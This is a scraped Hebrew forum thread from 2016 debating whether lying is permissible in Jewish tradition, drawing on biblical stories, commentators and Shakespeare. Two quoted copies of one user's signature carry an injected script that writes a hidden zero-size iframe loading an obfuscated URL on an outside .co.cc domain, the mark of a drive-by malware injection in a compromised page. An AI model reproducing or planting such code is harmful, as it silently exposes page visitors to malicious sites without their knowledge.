| נשלח ב-6/4/2016 08:52 |
 |
| |
ישנם שקרים מותרים במסכת בפוריא ובאושפיזי
|
|
|
|
| נשלח ב-6/4/2016 12:56 |
|
| |
מיימוני
<וכתב מאיר ברעם את הרעיון הבא: חכמי אתונה שאלו האם יש שקר שאינו ראוי. ענה להם בשקר ששקרו מוכח מתוכו, ועדיין הוא נקרא "שקר" כלומר שזה דבר פסול>.
שקרים לבנים http://www.daat.ac.il/mishpat-ivri/skirot/3-2.htm
תוקן על ידי נישטאיך ב- 06/04/2016 12:57:01
|
|
|
|
| נשלח ב-9/4/2016 22:08 |
|
| |
מה הגדר של מותר לשנות מפני השלום ?
שלום בית ?
שלום בין חברים ?
בין חצרות אדמורי''ם ?
|
|
|
|
| נשלח ב-9/4/2016 23:15 |
|
| |
מה הבעיה בלשקר. העולם בנוי על שקר . עלמא דשקרא
.- למדנו בתורה-האדם הראשון שיקר. אברהם ושרה שיקרו. יצחק ורבקה שקרו. יעקב שיקר. נשותיו שקרו. ילדיו שקרו.
משה רבנו שיקר. יתירה מכך אלוקים מצווה על בני ישראל לשקר.
אז מה הבעיה הגדולה כל כך עם מעט שקר?
|
|
|
|
| נשלח ב-9/4/2016 23:47 |
|
| |
מעמיק
יתכן שאי אפשר לתת הוראות כתובות.
יתכן שצריך רגישות ועדינות ולהבין השלכות.
וגם אז יתכן שאין תשובות לא נכונות. יש רק תשובות יותר מתחשבות ופחות מתחשבות.
****
ירוחמ
לא הבנתי את שאלתך.
זה שלפעמים לא אומרים אמת ולפעמים זה מוצדק, האם זה אומר שתמיד אפשר לעשות זאת?
אילו בני אדם לא היו משתדלים לומר אמת, דומה שלא היתה אפשרות של תקשורת. האם להסביר מדוע? מפני שתקשורת מבוססת על הבנה הדדית, על הנחות יסוד. השקר מועיל, אם הוא מועיל, לפחות בטווח הקצר, רק בגלל שבכל שאר המקרים אומרים את האמת. אולי חלקית, אולי לא במלואה, אבל במידה שמספיקה לשואל ולעונה.
אולי התכוונת לומר שתמיד ייתכנו מצבים שבהם השקר עדיף ומוסרי יותר. זה ודאי כך. אבל עדיין צריך בדיקה בכל מצב ומצב. ודומה בעיני שאם אפשר לומר את האמת, כך עדיף. אדם מרגיש יותר נקי, הלא כן?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-10/4/2016 12:58 |
|
| |
הרב מימוני.
אז זהו -אני לא שאלתי שאלה. אני ציינתי כי מימים ימימה השקר הוא לחם חוקנו.
אם הסיפרים על השקרים מופיעים בתורה. ואין לתורה כל התיחסות שלילית לשקרים של איתני העולם. ובהמשך ביציאת מצריים לפניו ואחריו, השקר הופך ליסוד בגאולה.
אולי התורה מלמדת. משהו.- כלשון חכמים. -גליי דעתיה דניחא לי. אולי? וזו באמת שאלה.
|
|
|
|
| נשלח ב-12/4/2016 16:57 |
|
| |
אמת ראשי תיבות אני משקר תמיד
|
|
|
|
| נשלח ב-13/4/2016 07:43 |
|
| |
ירוחמ
אני מוצא בדבריך ארבע טענות שונות. הן טעונות הצדקה וניתן לערער עליהן.
1. מימים ימימה השקר הוא לחם חוקנו.
אם כוונתך שאדם משקר תמיד, קודם כל לעצמו ואחר כך לאחרים, איך אפשר לא להסכים לזה.
2. הסיפורים על השקרים מופיעים בתורה.
נכון.
3. ואין לתורה כל התיחסות שלילית לשקרים של איתני העולם.
תלוי איזה שקר! אם זה למטרה טובה או בלית ברירה, כגון השקר של אברהם לפרעה ולאבימלך, אני לא מצאתי התייחסות שלילית ולא סביר לי שתהיה.
אם לגבי שקר אחר, הרי כבר הראתה נחמה לייבוביץ ע"ה, כי השקר של יעקב לאביו וגניבת הברכות עלו לו ביוקר, ורמז לדבר הוא המילה המנחה, המקשרת את השקר ששיקר ליעקב לשקר שמשקר לו לבן.
4. ובהמשך ביציאת מצריים לפניו ואחריו, השקר הופך ליסוד בגאולה.
לא הבנתי את דבריך.
אם כוונתך שמשה שיקר לפרעה באמרו שעם ישראל יצאו רק לשלושה ימי פולחן במדבר, אזי אתה צודק. אבל זה לא אומר ששקר מותר או טוב, אלא שלפעמים אין ברירה. בדיוק כפי שאברהם שיקר לפרעה אף הוא ששרה אינה אשתו (כך משתמע) אלא אחותו.
אם כוונתך שיש תיכנון של גאולה עתידית וזו תושג על ידי שקרים, בזה אני תמה: זאת מנלן?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-13/4/2016 12:20 |
|
| |
| מיימוני כתב: |  |
אם כוונתך שיש תיכנון של גאולה עתידית וזו תושג על ידי שקרים, בזה אני תמה: זאת מנלן?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
גאולה, בין אם של הפרט או העם מצריכה שקר.
ראה את המעשה של יצחק, יעקב ועשו.
ועל זה אמר .W.S
''Assume a virtue, if you have it not"
|
|
|
|
| נשלח ב-13/4/2016 12:57 |
|
| |
| מיימוני כתב: | | ירוחמ
אני מוצא בדבריך ארבע טענות שונות. הן טעונות הצדקה וניתן לערער עליהן.
1. מימים ימימה השקר הוא לחם חוקנו.
אם כוונתך שאדם משקר תמיד, קודם כל לעצמו ואחר כך לאחרים, איך אפשר לא להסכים לזה.
האדם לא משקר תמיד רק כשהוא נזקק לשקר לתועלתן.
2. הסיפורים על השקרים מופיעים בתורה.
נכון.
3. ואין לתורה כל התיחסות שלילית לשקרים של איתני העולם.
תלוי איזה שקר! אם זה למטרה טובה או בלית ברירה, כגון השקר של אברהם לפרעה ולאבימלך, אני לא מצאתי התייחסות שלילית ולא סביר לי שתהיה.
למה שלא תהיה? אברהם היה יכול להמנע לרדת למצריים ולגרר. הרי לא כל תושבי האזור ירדו למצריים?
אם לגבי שקר אחר, הרי כבר הראתה נחמה לייבוביץ ע"ה, כי השקר של יעקב לאביו וגניבת הברכות עלו לו ביוקר, ורמז לדבר הוא המילה המנחה, המקשרת את השקר ששיקר ליעקב לשקר שמשקר לו לבן.
בשביל ללמוד את זה צריך ללמוד את נחמה ליבוביץ לא כל אדם וילד מכירים את הלקח האישי של יעקב.
4. ובהמשך ביציאת מצריים לפניו ואחריו, השקר הופך ליסוד בגאולה.
לא הבנתי את דבריך.
אם כוונתך שמשה שיקר לפרעה באמרו שעם ישראל יצאו רק לשלושה ימי פולחן במדבר, אזי אתה צודק. אבל זה לא אומר ששקר מותר או טוב, אלא שלפעמים אין ברירה. בדיוק כפי שאברהם שיקר לפרעה אף הוא ששרה אינה אשתו (כך משתמע) אלא אחותו.
כל שקרן חושב שאין לו ברירה והוא חייב לשקר. השקר באמת טוב למשקר אבל מצד שני הוא לא טוב לזה שמשקרים לו.
משה שיקר לפרע על שלשת הימים. בשביל מה בעצם. היו נותנים לפרע במקום זה עוד כמה מכות. ובשביל מה היו צריכים ללמד את העם לשקר למצרים על השאלת הבגדים וכלי הכסף?
אם כוונתך שיש תיכנון של גאולה עתידית וזו תושג על ידי שקרים, בזה אני תמה: זאת מנלן?
עם בגאולה העכשוית והעתידית השקר יהיה חיוני, והוא חיוני! אז מעשי אבות סימן לבנים צריכים וחייבים לשקר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-13/4/2016 15:19 |
|
| |
שלישישי
תודה על הציטוט שלא הכרתי.
הרחבה, מתוך המלט
AMLET Oh, throw away the worser part of it, And live the purer with the other half. Good night—but go not to mine uncle’s bed. Assume a virtue if you have it not. That monster, custom, who all sense doth eat, Of habits devil, is angel yet in this: That to the use of actions fair and good He likewise gives a frock or livery That aptly is put on. Refrain tonight, And that shall l a kind of easiness To the next abstinence, the next more easy.
קשה לי לתרגם את האנגלית הכבדה אבל הרעיון הוא שאם אדם יקח על עצמו להתנהג כאילו הוא צדיק, ולו בדבר מסויים, בפעם הבאה יהיה יותר קל, ובסוף הוא יהיה בעל אותה התנהגות מבוקשת.
זה רעיון נפלא ביותר ומועיל ביותר. והוא מבוסס, מבחינת מה, על העמדת פנים. האשה מעמידה פנים שהיא מסתייגת מיחסי אישות עם הדוד הרשע של המלט וכך תתרחק ממנו בכל הפעמים (כך הבנתי שזו עצת המלט, אבל לא קראתי את כל ההקשר). אדם מעמיד פנים שהוא לא רגזן, אז הוא לא יתפרץ בכעס. אדם מעמיד פנים שאינו תאוותן לאוכל, ומצליח, נניח, בדייאטה. וכן על הדרך הזו.
האם זה שקר? וכלפי מי זה מכוון?
ראוי לציין שהמתאמץ להשתפר בדרך הזו ייזהר לא להכריז שהוא בעל תשובה כלומר עובד על עצמו במידה זו, כי אז הוא מאלץ את עצמו להתמודד עם אחרים ועם עצמו. לפעמים זה כמובן טוב אבל לפעמים הכרזה גורפת כזו גורמת לכשלון, ורק התקדמות איטית, באופן לא מוצהר, מועילה יותר. והחכם צריך למצוא מתי זה מועיל יותר ומתי זה מועיל יותר.
יש כאן כמובן העמדת פנים, אבל בעיני זה מעין מה שאמרו על אהרן שהיה מספר לשני ניצים (=רבים ביניהם) שכל אחד מתחרט. כיון שהיתה ביניהם אהבה קודם לכן, הוא הצליח להחזיר את האהבה ויצר את החרטה. האם זה שקר? שקר שהופך לאמת?
אם זה שקר, אז זה שקר חיובי.
|
|
|
|
|
| נשלח ב-13/4/2016 15:31 |
|
| |
ירוחמ
1. אני סבור שאדם משקר לעצמו בדברים רבים מפני שקשה לעמוד מול האמת. ואדרבה, השקר לעצמי לפעמים זו הגנה נחוצה כפי שגילה גם, סליחה על האיזכור, פרויד.
3. אברהם יכול היה לא לרדת למצרים.
זאת איני יודע אם היתה לו ברירה אחרת. בכל אופן, יש לך שותף מכובד לדעה זו והוא הרמב"ן.
אך גם אם אתה צודק, האם ידע אברהם שיגיע לכלל שקר כזה? ואולי, כפי שנראה משאר פרקים בסיפורו, זה היה הסטנדרט בארצות שבהן חי? האם היית מאשים אדם שמשקר לאינקויזיציה? האם היית בא אליו בטענות אם לא היה מצליח לקיים את עצת הרמב"ם לברוח למדבר ולכן נשאר במקומו ומעמיד פנים? במיוחד כשהוא מאמין שזה רק לתקופה, כפי שהיה אצל אברהם?
לכן איני סבור שיש כאן שקר לא מוצדק ואם טעה אברהם ברדתו מצרימה זה לא הופך את השקר לבלתי מוצדק. האין זאת?
הוספת לגבי יעקב והשקר שלו ועונשו:
בשביל ללמוד את זה צריך ללמוד את נחמה ליבוביץ לא כל אדם וילד מכירים את הלקח האישי של יעקב.
הייתי שמח לטעון שאתה טועה. כלומר, שפשטות הסיפור המקראי הוא שיעקב חטא ולכן נענש וזה ברור לא רק מן "המילה המנחה" אלא מעצם כך שעלינו כקוראים לחוש מיאוס כלפי התכסיס של רבקה ויעקב ולהתבייש עבור גיבורי הסיפור שכך נהגו. (כאשר התורה מספרת לנו על ידה הקשה של שרה נגד הגר, אומר הרמב"ן משהו כמו: לא יפה נהגה אמנו בזאת. לגבי המקום ההוא איני מסכים עמו מסיבות שאשמח לבאר. אך כאן ראוי לחוש כפי שחש הרמב"ן).
אמנם אם בזמננו ומזה דורות מתעלמים מחטאם של יעקב ורבקה, הרי זה כתוצאה מכך שחז"ל עשו דמוניזציה לעשו. וכבר דנו בזה באשכולות.
שאלה אחרת היא אם הקוראים או השומעים הראשונים של הסיפור המקראי היו אמורים להתנער ממה שעשה יעקב או לראות בכך (כפי שטענו חוקרים לא משלנו) שזה סיפור על ניצול של עשו התמים בידי ערמומיות של יעקב ורבקה. האם אתה סבור שמספר הסיפור אינו רואה פסול בהתנהגותם של יעקב ורבקה?
4.
מדוע לא הוכה פרעה עוד קצת והיה משלח אותם לנפשם?
איני יודע. אין לי הסבר לזה.
לגבי השאילה מן המצרים, כבר טען (בנו יעקב?) שזו היתה לשון בקשת מתנת פרידה ולא לשון שאילה של חפץ על מנת להחזיר כמו שהמונח מופיע במקרא במקומות אחרים ומאז ועד היום.
בכל אופן, גם אם יש את שתי הנקודות הבעייתיות האלו, האם זה אומר שגאולה עתידית צריכה להתנהל על ידי שקרים? ואם כן, האם זה צורך או אידיאל?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-13/4/2016 16:10 |
|
| |
הרב מימוני
אני רואה שאין לנו מחלוקת . רק סימניקות- אגב רצוי שתראה מה כותב הרד"ק על התנהלותה של שרה, ולמה זה סופר.
בענין הגאולה העכשוית והעתידית. דינו של הנוהג באבירות והגינות עם ברבר, הוא הפסד בטוח במלחמה.
ראה -הנביא ישעיהו מנבא על אחרית הימים- וגר זאב עם כבש- יופי של נבואה, אבל למרות האופטימיות שהנבואה משדרת. אני תמיד אשתדל להיות הזאב. וזה האידיאל של הגאולה העתידית בעני.
|
|
|
|
|
